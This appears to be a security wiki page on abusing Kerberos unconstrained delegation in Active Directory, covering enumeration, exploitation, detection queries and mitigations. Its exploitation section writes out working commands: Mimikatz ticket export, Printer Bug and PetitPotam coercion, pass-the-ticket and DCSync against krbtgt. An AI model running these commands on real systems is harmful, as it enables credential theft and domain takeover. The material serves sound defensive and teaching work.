Skip to main content

Unconstrained Delegation Abuse

ATT&CK: T1558 — Steal or Forge Kerberos Tickets

Unconstrained delegation is a Kerberos feature that allows a service to impersonate any user to any service in the domain. If a Domain Admin authenticates to a machine with unconstrained delegation enabled, their TGT is deposited in that machine's memory — and an attacker with local admin on that machine can extract it.


What Delegation Is

Kerberos delegation solves a double-hop problem: User authenticates to Web Server A, which needs to query Database B on the user's behalf. Delegation allows A to impersonate the user to B.

Delegation TypeWhat It AllowsRisk Level
UnconstrainedImpersonate user to ANY service in domainCritical
ConstrainedImpersonate user to specific allowed servicesModerate
Resource-based Constrained (RBCD)Configured on resource (not service account)Lower

How Unconstrained Delegation Works

  1. User requests a TGS for the service with unconstrained delegation
  2. KDC embeds a copy of the user's TGT in the TGS response (forwardable TGT)
  3. Service extracts the TGT and can now request tickets on behalf of the user to any service
  4. The TGT is cached in lsass.exe on the delegation server

An attacker with admin access to the delegation server can extract these cached TGTs via Mimikatz and reuse them.


Finding Unconstrained Delegation Servers

# PowerView
Get-DomainComputer -Unconstrained -Properties DNSHostName,OperatingSystem,ms-Mcs-AdmPwd

# LDAP filter
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation,ServicePrincipalName

# BloodHound
# Relationship: HAS_UNCONSTRAINED_DELEGATION
# Node property: unconstraineddelegation=true

Domain Controllers have unconstrained delegation by default — this is expected and not a finding. The finding is non-DC computers with unconstrained delegation.


Exploitation

Step 1: Extract Cached TGTs

# On the unconstrained delegation server (as local admin or SYSTEM)
mimikatz # sekurlsa::tickets /export

# Export all tickets; look for .kirbi files for high-value users
# Directory listing will show:
# [0;12345]-2-1-40e00000-Administrator@krbtgt-DOMAIN.COM.kirbi

Step 2: Wait or Coerce Authentication

If no high-value users have recently authenticated, trigger authentication using the Printer Bug (MS-RPRN) or PetitPotam (EfsRpc):

# Printer Bug - coerce DC$ to authenticate to the delegation server
# SpoolSample.exe <DC-hostname> <DelegationServer-hostname>
.\SpoolSample.exe DC01.domain.com DELEGSERVER01.domain.com

# PetitPotam
python3 PetitPotam.py -u user -p pass <DelegationServer-IP> <DC-IP>

When DC01's machine account authenticates to DELEGSERVER01, its TGT is deposited in memory.

Step 3: Pass the Ticket to Achieve DA

# Import the extracted Domain Controller TGT
mimikatz # kerberos::ptt C:\<path>\DC01$@krbtgt-DOMAIN.COM.kirbi

# Now perform DCSync as the DC machine account
mimikatz # lsadump::dcsync /domain:domain.com /user:krbtgt

Impact: From Unconstrained Delegation to Domain Compromise

Unconstrained Delegation Server
→ Coerce DC authentication (Printer Bug / PetitPotam)
→ DC$ TGT deposited in memory
→ Extract TGT
→ Impersonate DC → DCSync
→ Extract krbtgt hash
→ Golden Ticket

This is one of the most reliable paths to domain compromise from a non-DA foothold with local admin on a delegation server.


Real-World Context

Print servers, web application servers, and legacy application servers are commonly configured with unconstrained delegation — often as a workaround for applications that needed multi-hop authentication and were configured before constrained delegation was understood.

Attack tooling (Impacket, Rubeus) has automated this attack chain. It is a standard escalation path in penetration tests and has been observed in real-world intrusions.


Detection

Event IDs

EventLogSignal
4769SecurityTGS request with forwarded TGT option (forwardable bit set)
4768SecurityTGT request for high-value accounts from unexpected sources
4648SecurityLogon using explicit credentials (coerced auth)

Key Detection Logic

// KQL - Entra/Sentinel - Kerberos with forwardable TGT requests to non-DC hosts
SecurityEvent
| where EventID == 4769
| where TicketOptions has "0x40800000" // forwardable + renewable
| where not(TargetUserName endswith "$") // non-machine-account target
| summarize count() by ServiceName, IpAddress
| where ServiceName !contains "DC"

BloodHound Detection

Run BloodHound regularly to find:

  • HAVE_UNCONSTRAINED_DELEGATION → machines outside DC tier
  • Attack paths from those machines to Domain Admins

Mitigation

ControlMechanism
Remove unconstrained delegationSet msDS-AllowedToDelegateTo correctly; use constrained delegation
Mark sensitive accounts as "Account is sensitive and cannot be delegated"Prevents TGT forwarding for those accounts
Protected Users groupMembers' TGTs cannot be forwarded (delegation blocked)
Disable Spooler service on DCsRemoves Printer Bug attack surface
Restrict NTLMReduces coerced authentication attack paths

TopicLink
Constrained Delegationconstrained-delegation
Resource-Based Constrained Delegationrbcd
DCSyncdcsync
Pass-the-Ticketpass-the-ticket
Golden Ticketgolden-ticket